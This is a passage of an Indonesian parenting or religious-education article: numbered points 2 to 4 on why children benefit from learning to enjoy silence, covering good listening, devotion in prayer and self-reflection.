  2. Melatih anak untuk menikmati keheningan sama dengan mengajarkan mereka untuk menjadi pendengar yang baik. Seorang pendengar yang baik adalah mereka yang telah terlatih dengan baik bagaimana menikmati keheningan. Cukuplah bagi mereka satu suara dari lawan bicaranya yang terdengar, sementara dirinya focus pada isi pembicaraannya. Sebaliknya anak yang belum terlatih, tetap merasa nyaman walaupun semua mulut secara bersama-sama mengeluarkan kata-kata.
  3. Saat kita sudah terbiasa untuk hening, maka akan mudah bagi kita untuk bersikap khusyuk’ saat menjalankan Shalat atau saat memanjatkan doa. Sebaliknya saat kita terbiasa merasakan kegaduhan, maka alangkah tidak nikmatnya menjalani kekshusyuan saat beribadah
  4. Di saat seseorang tengah menikmati keheningan, maka akan lebih mudah baginya untuk melakukan introspeksi dan evaluasi ke dalam diri. Di sinilah Ia akan terbiasa untuk melakukan olah rasa dan bukan hanya olah fikir dan olah raga saja. Saya yakin kitapun juga menghendaki anak-anak yang juga punya rasa yang lebih tinggi.